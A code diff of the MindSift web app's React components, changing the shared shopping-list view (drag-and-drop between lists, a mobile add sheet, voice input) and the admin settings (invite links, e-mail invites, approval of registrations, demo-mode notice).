window.addEventListener('mindsift:outbox-changed', onOutbox);
return () => window.removeEventListener('mindsift:outbox-changed', onOutbox);
}, []);
useEffect(() => {
const handleGlobalWs = (e: any) => {
const msg = e.detail;
@@ -340,8 +281,6 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
const handleAddItem = async (e: React.FormEvent) => {
e.preventDefault();
// Keep the field (and the phone keyboard) for the next item: refocus inside the tap
inputRef.current?.focus({ preventScroll: true });
if (!activeList || !newItemText.trim() || isSubmittingItem) return;
setIsSubmittingItem(true);
triggerHaptic(15);
@@ -439,35 +378,6 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
setDraggingItemId(item.id);
};
const canWriteList = (lst: SharedList) => lst.isOwner || lst.role !== 'viewer';
// An entry dragged onto another list's tab lands at the top of that list, like a new entry
const handleDropOnListTab = async (e: React.DragEvent, target: SharedList) => {
e.preventDefault();
const itemId = e.dataTransfer.getData('application/mindsift-list-item-id') || draggingItemId;
setDraggingItemId(null);
setDragOverItemTarget(null);
setDragOverCategoryTarget(null);
setDragOverListTab(null);
const source = activeList;
const item = source?.items.find((i) => i.id === itemId);
if (!source || !item || target.id === source.id || !canWriteList(target)) return;
triggerHaptic(15);
setLists((prev) =>
prev.map((l) => {
if (l.id === source.id) return { ...l, items: l.items.filter((i) => i.id !== item.id) };
if (l.id === target.id) return { ...l, items: deduplicateItems([{ ...item, listId: target.id }, ...l.items]) };
return l;
})
);
try {
await api.moveListItem(source.id, item.id, target.id);
} catch {
loadLists();
}
onRefreshGlobal?.();
};
const handleItemDragOver = (e: React.DragEvent, targetItemId: string) => {
e.preventDefault();
e.stopPropagation();
@@ -856,20 +766,13 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
return result;
}, [openItems]);
const focusNewItemInput = () => {
if (isPhoneWidth()) {
setShowAddSheet(true);
return;
}
inputRef.current?.focus({ preventScroll: true });
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
};
// Register context-sensitive mobile menu groups behind the MindSift logo
useEffect(() => {
setPrimaryAction(() => {
// Focus right inside the tap: iOS only opens the keyboard for focus() during the user gesture
focusNewItemInput();
setTimeout(() => {
inputRef.current?.focus();
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
}, 60);
});
setGroups([
@@ -883,7 +786,10 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
icon: <Plus className="w-4 h-4 text-accent" />,
variant: 'accent',
onClick: () => {
focusNewItemInput();
setTimeout(() => {
inputRef.current?.focus();
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
}, 60);
},
},
{
@@ -943,18 +849,219 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
]);
}, [lists, activeList, completedItems.length, setGroups, setPrimaryAction]);
// The add form's fields: inline on the desktop, on phones in a sheet that "+" opens (no fixed field
// taking room above the list); the sheet brings its own buttons
const renderAddItemFields = (withButton: boolean) =>
activeList ? (
<>
{/* The item is the main field: a real input like the quantity next to it, with the + inside */}
<div className="relative flex-1 w-full min-w-0">
<Plus className="w-4 h-4 text-accent absolute left-3 top-1/2 -translate-y-1/2 pointer-events-none" />
return (
<div className="w-full space-y-3">
{/* Top Header: List Tabs & Actions (Desktop) */}
<div className="hidden sm:flex flex-wrap items-center justify-between gap-2 border-b border-border pb-2 !mt-0">
{/* List Tabs */}
<div className="flex flex-wrap items-center gap-1">
{lists.map((lst) => {
const openCount = deduplicateItems(lst.items || []).filter((i) => !i.isCompleted).length;
const isSelected = activeList?.id === lst.id;
return (
<div
key={lst.id}
className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
isSelected ? 'bg-panel border-accent text-main' : 'bg-canvas border-border text-muted hover:text-main'
} ${isSelected && lists.length > 1 ? 'pr-1' : ''}`}
>
<button
onClick={() => setActiveListId(lst.id)}
className="h-full px-3 text-xs font-medium flex items-center gap-1.5 rounded-btn"
>
<span>{lst.icon}</span>
{/* Counter on the label, like in the nav bar */}
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-3' : ''}`}>
{lst.title}
<CountBadge count={openCount} position="corner" className="-top-0.5 -right-2" />
</span>
<AvatarStack
people={otherMembers(lst)}
size="xxs"
ringClass={isSelected ? 'ring-[var(--bg-panel)]' : 'ring-[var(--bg-app)]'}
className="ml-0.5"
/>
</button>
{isSelected && lists.length > 1 && (
<button
onClick={() => handleDeleteList(lst.id)}
title="Liste löschen"
className="h-6 w-6 text-faint hover:text-status-err hover:bg-status-err/10 rounded-btn flex items-center justify-center transition-colors cursor-pointer"
>
<X className="w-3 h-3" />
</button>
)}
</div>
);
})}
<button
onClick={() => setShowNewListModal((prev) => !prev)}
className="h-8 px-2.5 bg-canvas hover:bg-panel border border-border border-dashed rounded-btn text-xs text-muted hover:text-main flex items-center gap-1 transition-colors"
title="Neue Liste anlegen"
>
<Plus className="w-3.5 h-3.5" />
<span>Neue Liste</span>
</button>
</div>
{/* Right Header Section: Geteilt Badge, Icon-Only Share Button & Live Sync */}
<div className="flex items-center gap-2">
{activeList && (() => {
const isOwner = activeList.isOwner !== false && (activeList.userId === currentUser?.id || !activeList.userId || currentUser?.role === 'admin');
const sharesCount = activeList.shares?.length || 0;
const isShared = sharesCount > 0;
const ownerDisplayName = activeList.ownerName || 'Eigentümer';
return (
<div className="flex items-center gap-1.5">
{isShared && (
isOwner ? (
<button
type="button"
onClick={openShareModal}
className="px-2 py-0.5 rounded text-[10px] font-semibold bg-accent/15 text-accent border border-accent/30 flex items-center gap-1 hover:bg-accent/25 hover:border-accent/50 transition-colors cursor-pointer"
title="Teilen-Menü öffnen: Geteilt mit Nutzern/Gruppen anzeigen & verwalten"
>
<Users className="w-2.5 h-2.5" />
<span>Geteilt ({sharesCount})</span>
</button>
) : (
<button
type="button"
onClick={openShareModal}
className="px-2 py-0.5 rounded text-[10px] font-medium border border-border text-muted flex items-center gap-1 bg-surface-subtle hover:bg-panel-elevated hover:text-main transition-colors cursor-pointer"
title="Teilen & Berechtigungen öffnen"
>
<Users className="w-2.5 h-2.5" />
<span>Geteilt von {ownerDisplayName}</span>
</button>
)
)}
<button
type="button"
onClick={openShareModal}
className="btn-icon"
title="Liste teilen und Berechtigungen"
>
<Users className="w-3.5 h-3.5" />
</button>
</div>
);
})()}
{/* Live Sync Status */}
<div
className={`h-8 w-8 flex items-center justify-center rounded-btn border transition-colors ${
wsConnected
? realtimeTransport === 'sse'
? 'bg-teal-500/10 border-teal-500/30 text-teal-400'
: 'bg-emerald-500/10 border-emerald-500/30 text-emerald-500'
: 'bg-canvas border-border text-muted'
}`}
title={
wsConnected
? realtimeTransport === 'sse'
? 'Live synchronisiert (Server-Sent Events / Proxy-Stream)'
: 'Live synchronisiert (WebSocket online)'
: 'Offline'
}
>
<Radio className={`w-3.5 h-3.5 ${wsConnected ? 'animate-pulse' : ''}`} />
</div>
</div>
</div>
{/* Mobile Compact Header Bar (List switching & actions live in MindSift Logo Menu) */}
<div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 rounded-btn bg-panel border border-border !mt-0">
<div className="flex items-center gap-2 min-w-0">
<span className="text-sm font-semibold text-main truncate">
{activeList ? `${activeList.icon} ${activeList.title}` : '🛒 Einkaufsliste'}
</span>
{openItems.length > 0 && (
<span className="badge-neutral text-[11px] flex-shrink-0">
{openItems.length} offen
</span>
)}
</div>
<div className="flex items-center gap-1.5 flex-shrink-0">
{activeList && (
<button
type="button"
onClick={openShareModal}
className="btn-icon min-h-[36px] min-w-[36px] flex items-center justify-center"
title="Liste teilen"
>
<Users className="w-4 h-4 text-accent" />
</button>
)}
<div
className={`h-9 w-9 flex items-center justify-center rounded-btn border transition-colors ${
wsConnected
? realtimeTransport === 'sse'
? 'bg-teal-500/10 border-teal-500/30 text-teal-400'
: 'bg-emerald-500/10 border-emerald-500/30 text-emerald-500'
: 'bg-canvas border-border text-muted'
}`}
title={
wsConnected
? realtimeTransport === 'sse'
? 'Live synchronisiert (Server-Sent Events / Proxy-Stream)'
: 'Live synchronisiert (WebSocket online)'
: 'Offline'
}
>
<Radio className={`w-3.5 h-3.5 ${wsConnected ? 'animate-pulse' : ''}`} />
</div>
</div>
</div>
{showNewListModal && (
<FormSheet
title="Neue Einkaufsliste erstellen"
icon={<ShoppingCart className="w-4 h-4 text-accent" />}
onClose={() => setShowNewListModal(false)}
onSubmit={handleCreateList}
>
<div>
<label className="block text-xs text-muted mb-1">Titel der Liste</label>
<div className="flex items-center gap-1.5">
<input
type="text"
value={newListIcon}
onChange={(e) => setNewListIcon(e.target.value)}
maxLength={2}
className="w-12 sm:w-10 h-11 sm:h-8 text-center input-field text-base sm:text-sm"
title="Icon (Emoji)"
/>
<input
type="text"
value={newListTitle}
onChange={(e) => setNewListTitle(e.target.value)}
placeholder="z.B. Supermarkt, Baumarkt, Drogerie"
autoFocus
required
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2.5 text-base sm:text-xs"
/>
</div>
</div>
</FormSheet>
)}
{/* Active Shared List View */}
{activeList ? (
<div className="space-y-4">
{/* Quick-Add Form */}
<form
onSubmit={handleAddItem}
className="flex flex-col sm:flex-row items-center gap-2 panel-surface p-2 sm:p-1.5 relative"
>
<div className="relative flex items-center gap-2 flex-1 w-full px-1.5">
<Plus className="w-4 h-4 text-accent flex-shrink-0" />
<input
ref={inputRef}
type="text"
autoFocus={!withButton}
value={newItemText}
onChange={(e) => {
setNewItemText(e.target.value);
@@ -973,19 +1080,8 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
onBlur={() => {
setTimeout(() => setShowSuggestions(false), 200);
}}
placeholder={itemVoiceError || `Was soll auf „${activeList.title}“? (z. B. Hafermilch #Kühlregal)`}
// 16px on phones: iOS zooms into smaller fields and the layout jumps under the keyboard
className="w-full h-11 sm:h-9 pl-9 pr-11 sm:pr-9 input-field text-base sm:text-sm"
/>
<VoiceInputButton
value={newItemText}
onChange={setNewItemText}
focusRef={inputRef}
onError={(message) => {
setItemVoiceError(message);
window.setTimeout(() => setItemVoiceError(null), 4000);
}}
className="absolute right-1 top-1/2 -translate-y-1/2"
placeholder={`Eintrag zu "${activeList.title}" hinzufügen (z. B. Hafermilch #Kühlregal)…`}
className="flex-1 bg-transparent py-1.5 sm:py-1 text-sm text-main placeholder-faint focus:outline-none"
/>
{/* Hashtag Autocomplete Suggestions Dropdown */}
@@ -1023,242 +1119,23 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
</div>
)}
</div>
<div className="flex items-center gap-2 w-full sm:w-auto">
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
<input
type="text"
inputMode="decimal"
value={newItemQty}
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
placeholder="Menge"
aria-label="Menge (optional)"
className="w-24 sm:w-20 h-11 sm:h-9 px-2.5 input-field text-base sm:text-sm"
placeholder="Menge (z.B. 2)"
className="flex-1 sm:flex-none sm:w-28 h-9 sm:h-7 px-2.5 sm:px-2 input-field text-xs"
/>
{withButton && (
<button
type="submit"
disabled={isSubmittingItem || !newItemText.trim()}
className="btn-primary flex-1 sm:flex-none h-11 sm:h-9 px-4 text-sm sm:text-xs disabled:opacity-40 disabled:cursor-not-allowed flex items-center justify-center gap-1 flex-shrink-0"
className="btn-primary h-9 sm:h-7 px-3.5 sm:px-3 text-xs disabled:opacity-40 disabled:cursor-not-allowed flex items-center gap-1 flex-shrink-0"
>
{isSubmittingItem ? 'Wird hinzugefügt…' : 'Hinzufügen'}
</button>
)}
</div>
</>
) : null;
return (
<div className="w-full space-y-3">
{/* Top Header: List Tabs & Actions (Desktop) */}
<div className="hidden sm:flex flex-wrap items-center justify-between gap-2 border-b border-border pb-2 !mt-0">
{/* List Tabs */}
<div className="flex flex-wrap items-center gap-1">
{lists.map((lst) => {
const openCount = deduplicateItems(lst.items || []).filter((i) => !i.isCompleted).length;
const isSelected = activeList?.id === lst.id;
return (
<div
key={lst.id}
onDragOver={(e) => {
if (!draggingItemId || isSelected || !canWriteList(lst)) return;
e.preventDefault();
e.dataTransfer.dropEffect = 'move';
if (dragOverListTab !== lst.id) setDragOverListTab(lst.id);
}}
onDragLeave={() => {
if (dragOverListTab === lst.id) setDragOverListTab(null);
}}
onDrop={(e) => handleDropOnListTab(e, lst)}
className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
isSelected ? 'bg-panel border-accent text-main' : 'bg-canvas border-border text-muted hover:text-main'
} ${isSelected && lists.length > 1 ? 'pr-1' : ''} ${
dragOverListTab === lst.id ? 'ring-2 ring-accent/60 bg-accent/10 text-main' : ''
}`}
>
<button
onClick={() => setActiveListId(lst.id)}
className="h-full px-3 text-xs font-medium flex items-center gap-1.5 rounded-btn"
>
<span>{lst.icon}</span>
{/* Counter on the label, like in the nav bar */}
<span className="inline-flex items-center">
{lst.title}
<CountBadge count={openCount} position="text" />
</span>
<AvatarStack
people={otherMembers(lst)}
size="xxs"
ringClass={isSelected ? 'ring-[var(--bg-panel)]' : 'ring-[var(--bg-app)]'}
className="ml-0.5"
/>
</button>
{isSelected && lists.length > 1 && (
<button
onClick={() => handleDeleteList(lst.id)}
title="Liste löschen"
className="h-6 w-6 text-faint hover:text-status-err hover:bg-status-err/10 rounded-btn flex items-center justify-center transition-colors cursor-pointer"
>
<X className="w-3 h-3" />
</button>
)}
</div>
);
})}
<button
onClick={() => setShowNewListModal((prev) => !prev)}
className="h-8 px-2.5 bg-canvas hover:bg-panel border border-border border-dashed rounded-btn text-xs text-muted hover:text-main flex items-center gap-1 transition-colors"
title="Neue Liste anlegen"
>
<Plus className="w-3.5 h-3.5" />
<span>Neue Liste</span>
</button>
</div>
{/* Right Header Section like the notes: status (live, shared) | actions */}
<div className="flex items-center gap-2">
<LivePill />
{activeList && (() => {
const isOwner = activeList.isOwner !== false && (activeList.userId === currentUser?.id || !activeList.userId || currentUser?.role === 'admin');
const sharesCount = activeList.shares?.length || 0;
const isShared = sharesCount > 0;
const ownerDisplayName = activeList.ownerName || 'Eigentümer';
return (
<div className="flex items-center gap-1.5">
{isShared && (
isOwner ? (
<button
type="button"
onClick={openShareModal}
className="px-2 py-0.5 rounded text-[10px] font-semibold bg-accent/15 text-accent border border-accent/30 flex items-center gap-1 hover:bg-accent/25 hover:border-accent/50 transition-colors cursor-pointer"
title="Teilen-Menü öffnen: Geteilt mit Nutzern/Gruppen anzeigen & verwalten"
>
<Users className="w-2.5 h-2.5" />
<span>Geteilt ({sharesCount})</span>
</button>
) : (
<button
type="button"
onClick={openShareModal}
className="px-2 py-0.5 rounded text-[10px] font-medium border border-border text-muted flex items-center gap-1 bg-surface-subtle hover:bg-panel-elevated hover:text-main transition-colors cursor-pointer"
title="Teilen & Berechtigungen öffnen"
>
<Users className="w-2.5 h-2.5" />
<span>Geteilt von {ownerDisplayName}</span>
</button>
)
)}
<span className="w-px h-5 bg-border mx-0.5" aria-hidden />
<button
type="button"
onClick={openShareModal}
className="btn-icon"
title="Liste teilen und Berechtigungen"
>
<Users className="w-3.5 h-3.5" />
</button>
</div>
);
})()}
</div>
</div>
{/* Mobile Compact Header Bar (List switching & actions live in MindSift Logo Menu) */}
{/* Same height with or without the 36 px share button (Tasks, Shopping lists) */}
<div className="flex sm:hidden items-center justify-between gap-2 px-3 py-2 min-h-[54px] rounded-btn bg-panel border border-border !mt-0">
<div className="flex items-center gap-2 min-w-0">
{activeList ? (
<ListSwitcher
label={[activeList.icon, activeList.title].filter(Boolean).join(' ')}
items={lists.map((lst) => ({
id: lst.id,
title: lst.title,
icon: lst.icon,
count: deduplicateItems(lst.items || []).filter((i) => !i.isCompleted).length,
}))}
activeId={activeList.id}
onSelect={setActiveListId}
/>
) : (
<span className="text-sm font-semibold text-main truncate">🛒 Einkaufsliste</span>
)}
{openItems.length > 0 && (
<span className="badge-neutral text-[11px] flex-shrink-0">
{openItems.length} offen
</span>
)}
</div>
<div className="flex items-center gap-1.5 flex-shrink-0">
<LivePill />
{activeList && (
<>
<span className="w-px h-5 bg-border" aria-hidden />
<button
type="button"
onClick={openShareModal}
className="btn-icon min-h-[36px] min-w-[36px] flex items-center justify-center"
title="Liste teilen"
>
<Users className="w-4 h-4 text-accent" />
</button>
</>
)}
</div>
</div>
{showNewListModal && (
<FormSheet
title="Neue Einkaufsliste erstellen"
icon={<ShoppingCart className="w-4 h-4 text-accent" />}
onClose={() => setShowNewListModal(false)}
onSubmit={handleCreateList}
>
<div>
<label className="block text-xs text-muted mb-1">Titel der Liste</label>
<div className="flex items-center gap-1.5">
<EmojiIconButton value={newListIcon} onChange={setNewListIcon} />
<input
type="text"
value={newListTitle}
onChange={(e) => setNewListTitle(e.target.value)}
placeholder="z.B. Supermarkt, Baumarkt, Drogerie"
autoFocus
required
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2.5 text-base sm:text-xs"
/>
</div>
</div>
</FormSheet>
)}
{/* Active Shared List View */}
{activeList ? (
<div className="space-y-4">
{/* Phones: "+" opens the add form as a sheet; it stays open for the next item */}
{isPhone && showAddSheet && (
<FormSheet
title={`Auf „${activeList.title}“`}
icon={<ShoppingCart className="w-4 h-4 text-accent" />}
onClose={() => setShowAddSheet(false)}
onSubmit={handleAddItem}
submitLabel="Hinzufügen"
busy={isSubmittingItem}
>
<div className="flex flex-col gap-2 relative">{renderAddItemFields(false)}</div>
</FormSheet>
)}
{/* Quick-Add Form (desktop; on phones it is the sheet above) */}
{!isPhone && (
<form
onSubmit={handleAddItem}
className="flex flex-col sm:flex-row items-stretch sm:items-center gap-2 panel-surface p-2 relative"
>
{renderAddItemFields(true)}
</form>
)}
{/* Open Items Grouped by Hashtags / Categories */}
{openItems.length === 0 ? (
@@ -1316,7 +1193,6 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
setDraggingItemId(null);
setDragOverItemTarget(null);
setDragOverCategoryTarget(null);
setDragOverListTab(null);
}}
onDragOver={(e) => handleItemDragOver(e, item.id)}
onDragLeave={(e) => handleItemDragLeave(e, item.id)}
@@ -1357,11 +1233,6 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
<span className="text-sm font-medium text-main truncate">
{displayContent}
</span>
{item.id.startsWith(OFFLINE_ITEM_PREFIX) && (
<span title="Offline hinzugefügt – wird gesendet, sobald die Verbindung zurück ist">
<CloudOff className="w-3.5 h-3.5 text-faint shrink-0" />
</span>
)}
{editingQtyItemId === item.id ? (
<div className="flex items-center gap-1" onClick={(e) => e.stopPropagation()}>
@@ -1381,7 +1252,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
onBlur={async () => {
await handleSaveQuantity(item.id, editingQtyValue);
}}
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
placeholder="Menge"
/>
</div>
@@ -1411,7 +1282,6 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
)}
</div>
<OriginBadge origin={item.origin} createdAt={item.createdAt} size="xs" />
{renderItemAuthor(item)}
<button
type="button"
@@ -1496,7 +1366,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
onBlur={async () => {
await handleSaveQuantity(item.id, editingQtyValue);
}}
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
placeholder="Menge"
/>
</div>
@@ -1521,7 +1391,6 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
</div>
<div className="flex items-center gap-2">
<OriginBadge origin={item.origin} createdAt={item.createdAt} size="xs" />
{renderItemAuthor(item)}
{item.completedByName && (
<span className="text-xs text-faint">✓ {item.completedByName}</span>
@@ -1554,7 +1423,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
onClose={() => setShowShareModal(false)}
title={`Liste teilen: ${activeList.title}`}
resourceName={activeList.title}
resourceIcon={activeList.icon || undefined}
resourceIcon={activeList.icon || '🛒'}
isOwner={activeList.isOwner !== false && (activeList.userId === currentUser?.id || !activeList.userId || currentUser?.role === 'admin')}
currentUserId={currentUser?.id}
shares={(activeList.shares || []).map((s) => ({
@@ -15,13 +15,9 @@ import {
UserPlus,
Building2,
Pencil,
Link2,
Clock,
X,
} from 'lucide-react';
import {
Organization,
RegistrationMode,
SharingMode,
SystemSettings,
User,
@@ -33,7 +29,6 @@ import { passwordProblem } from '../../lib/password';
import { UserAvatar } from '../../components/UserAvatar';
import { ToggleSwitch } from '../../components/ToggleSwitch';
import { BackupAdminCard } from './BackupAdminCard';
import { VoiceStatusCard } from './VoiceStatusCard';
import { CountBadge } from '../../components/CountBadge';
interface AdminSettingsViewProps {
@@ -82,12 +77,6 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
const [inviteEmail, setInviteEmail] = useState('');
const [inviteRole, setInviteRole] = useState<UserRole>('member');
const [inviteOrg, setInviteOrg] = useState('');
// A link for several people (1 = classic single-use code)
const [inviteMaxUses, setInviteMaxUses] = useState(1);
// "Per E-Mail einladen": which invite the address field is open for
const [mailInviteId, setMailInviteId] = useState<string | null>(null);
const [mailInviteTo, setMailInviteTo] = useState('');
const [mailInviteBusy, setMailInviteBusy] = useState(false);
// --- Organizations State ---
const [organizations, setOrganizations] = useState<Organization[]>([]);
@@ -113,7 +102,6 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
smtpUser: '',
smtpPass: '',
smtpFrom: '',
smtpFromName: '',
smtpTls: true,
smtpSkipVerify: false,
smtpConfiguredViaEnv: false,
@@ -138,19 +126,12 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
setSettings({
sharingMode: sys.sharingMode || 'organizations',
allowRegistration: Boolean(sys.allowRegistration),
registrationMode: sys.registrationMode || (sys.allowRegistration ? 'open' : 'closed'),
registrationDomains: sys.registrationDomains || '',
registrationConfiguredViaEnv: Boolean(sys.registrationConfiguredViaEnv),
registrationVerifyEmail: Boolean(sys.registrationVerifyEmail),
registrationVerifyConfiguredViaEnv: Boolean(sys.registrationVerifyConfiguredViaEnv),
emailLinksAvailable: Boolean(sys.emailLinksAvailable),
instanceName: sys.instanceName || 'MindSift',
smtpHost: sys.smtpHost || '',
smtpPort: sys.smtpPort ? String(sys.smtpPort) : '587',
smtpUser: sys.smtpUser || '',
smtpPass: sys.smtpPass || '',
smtpFrom: sys.smtpFrom || '',
smtpFromName: sys.smtpFromName || '',
smtpTls: sys.smtpTls ?? true,
smtpSkipVerify: Boolean(sys.smtpSkipVerify),
allowPrivateWebhooks: Boolean(sys.allowPrivateWebhooks),
@@ -158,10 +139,6 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
backupEnabled: Boolean(sys.backupEnabled),
backupTime: sys.backupTime || '03:00',
backupRetentionDays: sys.backupRetentionDays || 3,
retentionAllowNever: sys.retentionAllowNever ?? true,
retentionNeverViaEnv: Boolean(sys.retentionNeverViaEnv),
mcpEnabled: sys.mcpEnabled ?? true,
mcpConfiguredViaEnv: Boolean(sys.mcpConfiguredViaEnv),
});
}
} catch (err: any) {
@@ -169,14 +146,8 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
}
};
// Read-only in the public demo (FLAW-33)
const [demoMode, setDemoMode] = useState(false);
useEffect(() => {
loadAll();
api
.getAuthStatus()
.then((st) => setDemoMode(Boolean(st.demoMode)))
.catch(() => {});
}, []);
// ============================================================================
@@ -217,19 +188,15 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
triggerHaptic(15);
try {
const inv = await api.adminCreateInvite({
email: inviteMaxUses > 1 ? '' : inviteEmail.trim(),
email: inviteEmail.trim(),
role: inviteRole,
organizationId: inviteOrg || undefined,
maxUses: inviteMaxUses,
});
setInvites((prev) => [inv, ...prev]);
setInviteEmail('');
setStatusMsg({
type: 'ok',
text:
inv.maxUses > 1
? `Einladungslink für ${inv.maxUses} Personen erstellt (${inv.code}).`
: `Einladungscode ${inv.code} erfolgreich erstellt.`,
text: `Einladungscode ${inv.code} erfolgreich erstellt.`,
});
} catch (err: any) {
setStatusMsg({ type: 'err', text: err.message || 'Fehler beim Erstellen der Einladung' });
@@ -245,45 +212,12 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
}
};
// Copies the code or the link that opens the sign-up form with the code filled in
const inviteLink = (inv: UserInvite) => `${window.location.origin}/?invite=${encodeURIComponent(inv.code)}`;
const [copiedWhat, setCopiedWhat] = useState<'code' | 'link'>('code');
const handleCopyInvite = (inv: UserInvite, what: 'code' | 'link') => {
navigator.clipboard.writeText(what === 'link' ? inviteLink(inv) : inv.code);
setCopiedWhat(what);
const handleCopyInviteCode = (inv: UserInvite) => {
navigator.clipboard.writeText(inv.code);
setCopiedInviteId(inv.id);
setTimeout(() => setCopiedInviteId(null), 2000);
};
const handleSendInvite = async (inv: UserInvite) => {
if (!mailInviteTo.trim()) return;
setMailInviteBusy(true);
setStatusMsg(null);
try {
const updated = await api.adminSendInvite(inv.id, mailInviteTo.trim());
setInvites((prev) => prev.map((i) => (i.id === inv.id ? { ...i, ...updated } : i)));
setStatusMsg({ type: 'ok', text: `Einladung an ${mailInviteTo.trim()} verschickt.` });
setMailInviteId(null);
setMailInviteTo('');
} catch (err: any) {
setStatusMsg({ type: 'err', text: err.message || 'Einladung konnte nicht verschickt werden' });
} finally {
setMailInviteBusy(false);
}
};
// Registrations waiting for approval (registration mode "Mit Freigabe")
const handleApproveUser = async (u: User) => {
setStatusMsg(null);
try {
const updated = await api.adminApproveUser(u.id);
setUsers((prev) => prev.map((item) => (item.id === u.id ? { ...updated, pendingApproval: false } : item)));
setStatusMsg({ type: 'ok', text: `${u.displayName} ist freigeschaltet.` });
} catch (err: any) {
setStatusMsg({ type: 'err', text: err.message });
}
};
const handleChangeUserRole = async (u: User, role: UserRole) => {
setStatusMsg(null);
try {
@@ -330,9 +264,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
const handleDeleteUser = async (u: User) => {
if (
!window.confirm(
u.pendingApproval
? `Registrierung von "${u.displayName}" (${u.email}) ablehnen? Das Konto wird gelöscht.`
: `Benutzer "${u.displayName}" (${u.email}) wirklich unwiderruflich löschen?`
`Benutzer "${u.displayName}" (${u.email}) wirklich unwiderruflich löschen?`
)
)
return;
@@ -587,15 +519,6 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
{/* Right Content Area */}
<div className="md:col-span-3 panel-surface p-5 text-xs">
{demoMode && (
<div className="flex items-center gap-2 alert-err mb-4">
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
<span>
In der Demo deaktiviert: Server-Einstellungen, E-Mail und Konten lassen sich hier nur
ansehen.
</span>
</div>
)}
{/* ================================================================= */}
{/* SECTION 1: BENUTZER, ROLLEN & EINLADUNGEN */}
{/* ================================================================= */}
@@ -701,45 +624,26 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<h3 className="font-bold text-main flex items-center gap-1.5">
<KeyRound className="w-3.5 h-3.5 text-accent" />
<span>Einladung erzeugen (gültig für 7 Tage)</span>
<span>Einladungscode erzeugen (gültig für 7 Tage)</span>
</h3>
<form onSubmit={handleCreateInvite} className="space-y-3">
{/* E-mail gets the room, "how often" only needs a few digits */}
<div
className={`grid grid-cols-1 gap-3 ${
isServerAdmin ? 'sm:grid-cols-[minmax(0,2fr)_8rem_minmax(0,1fr)_minmax(0,1fr)]' : 'sm:grid-cols-[minmax(0,2fr)_8rem_minmax(0,1fr)]'
}`}
>
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
<div className="min-w-0">
<label className="block text-muted mb-1">
Gebundene E-Mail (optional)
</label>
<input
type="email"
value={inviteMaxUses > 1 ? '' : inviteEmail}
value={inviteEmail}
onChange={(e) => setInviteEmail(e.target.value)}
disabled={inviteMaxUses > 1}
placeholder={inviteMaxUses > 1 ? 'Nur bei einmaliger Einladung' : 'Leer lassen für beliebige E-Mail'}
className="w-full min-w-0 h-8 px-2.5 input-field disabled:opacity-60"
/>
</div>
<div className="min-w-0">
<label className="block text-muted mb-1 whitespace-nowrap">Wie oft verwendbar</label>
<input
type="number"
min={1}
max={1000}
value={inviteMaxUses}
onChange={(e) => setInviteMaxUses(Math.max(1, Math.min(1000, parseInt(e.target.value, 10) || 1)))}
title="1 = ein Code für eine Person; mehr = ein Link für eine ganze Gruppe"
placeholder="Leer lassen für beliebige E-Mail"
className="w-full min-w-0 h-8 px-2.5 input-field"
/>
</div>
<div className="min-w-0">
<label className="block text-muted mb-1">Rolle</label>
<label className="block text-muted mb-1">Zugewiesene Server-Rolle</label>
<select
value={inviteRole}
onChange={(e) => setInviteRole(e.target.value as UserRole)}
@@ -775,7 +679,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
className="btn-action h-8 px-4 text-xs font-semibold flex items-center gap-1.5 border-accent text-main"
>
<KeyRound className="w-3.5 h-3.5 text-accent" />
<span>{inviteMaxUses > 1 ? `Einladungslink für ${inviteMaxUses} Personen erzeugen` : 'Einladungscode generieren'}</span>
<span>Einladungscode generieren</span>
</button>
</div>
</form>
@@ -787,15 +691,12 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
Aktive & bisherige Einladungscodes:
</p>
<div className="divide-y divide-border border border-border bg-panel rounded-card overflow-hidden">
{invites.map((inv) => {
const maxUses = inv.maxUses || 1;
